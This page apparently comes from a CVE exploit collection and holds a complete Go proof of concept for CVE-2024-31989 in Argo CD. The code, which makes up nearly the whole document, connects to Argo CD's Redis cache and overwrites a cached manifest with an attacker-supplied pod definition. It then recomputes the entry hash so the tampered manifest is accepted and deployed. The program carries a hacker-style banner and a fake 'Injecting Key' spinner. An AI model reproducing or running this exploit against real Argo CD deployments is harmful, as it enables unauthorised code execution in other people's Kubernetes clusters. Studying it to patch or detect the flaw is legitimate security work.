4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / main.go GO
package main

import (
	"bytes"
	"compress/gzip"
	"context"
	"encoding/base64"
	"encoding/json"
	"errors"
	"flag"
	"fmt"
	"hash/fnv"
	"io"
	"os"
	"strings"
	"time"

	"github.com/argoproj/argo-cd/v2/reposerver/apiclient"
	rediscache "github.com/go-redis/cache/v9"
	"github.com/redis/go-redis/v9"
)

type RedisCompressionType string

var (
	RedisCompressionNone RedisCompressionType = "none"
	RedisCompressionGZip RedisCompressionType = "gzip"
)

type redisCache struct {
	expiration           time.Duration
	client               *redis.Client
	cache                *rediscache.Cache
	redisCompressionType RedisCompressionType
}

func NewRedisCache(client *redis.Client, expiration time.Duration, compressionType RedisCompressionType) *redisCache {
	return &redisCache{
		client:               client,
		expiration:           expiration,
		cache:                rediscache.New(&rediscache.Options{Redis: client}),
		redisCompressionType: compressionType,
	}
}

func (r *redisCache) getKey(key string) string {
	switch r.redisCompressionType {
	case RedisCompressionGZip:
		return key + ".gz"
	default:
		return key
	}
}

func (r *redisCache) marshal(obj interface{}) ([]byte, error) {
	buf := bytes.NewBuffer([]byte{})
	var w io.Writer = buf
	if r.redisCompressionType == RedisCompressionGZip {
		w = gzip.NewWriter(buf)
	}
	encoder := json.NewEncoder(w)

	if err := encoder.Encode(obj); err != nil {
		return nil, err
	}
	if flusher, ok := w.(interface{ Flush() error }); ok {
		if err := flusher.Flush(); err != nil {
			return nil, err
		}
	}
	return buf.Bytes(), nil
}

func (r *redisCache) unmarshal(data []byte, obj interface{}) error {
	buf := bytes.NewReader(data)
	var reader io.Reader = buf
	if r.redisCompressionType == RedisCompressionGZip {
		if gzipReader, err := gzip.NewReader(buf); err != nil {
			return err
		} else {
			reader = gzipReader
		}
	}
	if err := json.NewDecoder(reader).Decode(obj); err != nil {
		return fmt.Errorf("failed to decode cached data: %w", err)
	}
	return nil
}

func (r *redisCache) Set(key string, obj interface{}) error {

	val, err := r.marshal(obj)
	if err != nil {
		return err
	}

	return r.cache.Set(&rediscache.Item{
		Key:   r.getKey(key),
		Value: val,
		TTL:   r.expiration,
		SetNX: false,
	})
}

func (r *redisCache) Get(key string, obj interface{}) error {
	var data []byte
	err := r.cache.Get(context.TODO(), r.getKey(key), &data)
	if errors.Is(err, rediscache.ErrCacheMiss) {
		err = redis.ErrClosed
	}
	if err != nil {
		return err
	}

	return r.unmarshal(data, obj)
}

type CachedManifestResponse struct {
	CacheEntryHash                  string                      `json:"cacheEntryHash"`
	ManifestResponse                *apiclient.ManifestResponse `json:"manifestResponse"`
	MostRecentError                 string                      `json:"mostRecentError"`
	FirstFailureTimestamp           int64                       `json:"firstFailureTimestamp"`
	NumberOfConsecutiveFailures     int                         `json:"numberOfConsecutiveFailures"`
	NumberOfCachedResponsesReturned int                         `json:"numberOfCachedResponsesReturned"`
}

func (cmr *CachedManifestResponse) shallowCopy() *CachedManifestResponse {
	if cmr == nil {
		return nil
	}

	return &CachedManifestResponse{
		CacheEntryHash:                  cmr.CacheEntryHash,
		FirstFailureTimestamp:           cmr.FirstFailureTimestamp,
		ManifestResponse:                cmr.ManifestResponse,
		MostRecentError:                 cmr.MostRecentError,
		NumberOfCachedResponsesReturned: cmr.NumberOfCachedResponsesReturned,
		NumberOfConsecutiveFailures:     cmr.NumberOfConsecutiveFailures,
	}
}

func (cmr *CachedManifestResponse) generateCacheEntryHash() (string, error) {
	copy := cmr.shallowCopy()
	copy.CacheEntryHash = ""

	bytes, err := json.Marshal(copy)
	if err != nil {
		return "", err
	}
	h := fnv.New64a()
	_, err = h.Write(bytes)
	if err != nil {
		return "", err
	}
	fnvHash := h.Sum(nil)
	return base64.URLEncoding.EncodeToString(fnvHash), nil
}

func printBanner() {
	banner := `
 _  _____      _   _ _  _            _    
| |/ ( _ ) ___| | | (_)(_) ____  ___| | __
| ' // _ \/ __| |_| | || |/ _' |/ __| |/ /
| . \ (_) \__ \  _  | || | (_| | (__|   < 
|_|\_\___/|___/_| |_|_|/ |\__,_|\___|_|\_\
                     |__/                 

CVE-2024-31989 - by vt0x78 & D3bu663r`
	fmt.Println(banner)
	fmt.Printf("\n")
}

func spinner(delay time.Duration) {
    for {
        for _, r := range "-\\|/" {
            fmt.Printf("\r%c", r)
			fmt.Printf(" Injecting Key...")
            time.Sleep(delay)
        }
    }
}

func main() {
	printBanner()
	help := flag.Bool("h", false, "Help usage")
	keyFilePath := flag.String("key", "", "Path to redis key name file")
	podFilePath := flag.String("pod", "", "Path to bad pod (json minified/one line)")
	reddisAddr := flag.String("redis-addr", "localhost:6379", "Addres to redis server (default localhost:6379)")

	flag.Parse()

	client := redis.NewClient(&redis.Options{
		Addr:     *reddisAddr,
		Password: "",
		DB:       0,
	})

	rediscache := NewRedisCache(client, time.Hour, RedisCompressionGZip)

	if *help {
		flag.Usage()
		return
	}

	if *keyFilePath == "" || *podFilePath == "" {
		fmt.Println("Both -key and -pod flags are required")
		flag.Usage()
		return
	}

	keyData, err := os.ReadFile(*keyFilePath)
	if err != nil {
		fmt.Println("Error reading key file:", err)
		return
	}
	key := strings.TrimSpace(string(keyData))

	podData, err := os.ReadFile(*podFilePath)
	if err != nil {
		fmt.Println("Error reading pod file:", err)
		return
	}
	badPod := strings.TrimSpace(string(podData))

	go spinner(300 * time.Millisecond)
	time.Sleep(5 * time.Second)

	var cachedManifest CachedManifestResponse

	err = rediscache.Get(key, &cachedManifest)
	if err != nil {
		fmt.Println("Error getting cached manifest:", err)
		return
	}

	cachedManifest.ManifestResponse.Manifests[0] = badPod

	cacheEntryHash, err := cachedManifest.generateCacheEntryHash()
	if err != nil {
		fmt.Println("Error generating CacheEntryHash:", err)
		return
	}
	cachedManifest.CacheEntryHash = cacheEntryHash

	err = rediscache.Set(key, &cachedManifest)
	if err != nil {
		fmt.Println("Error setting cached manifest:", err)
		return
	}else{
		fmt.Printf("\n\nKey set successfully\n\n")
	}
}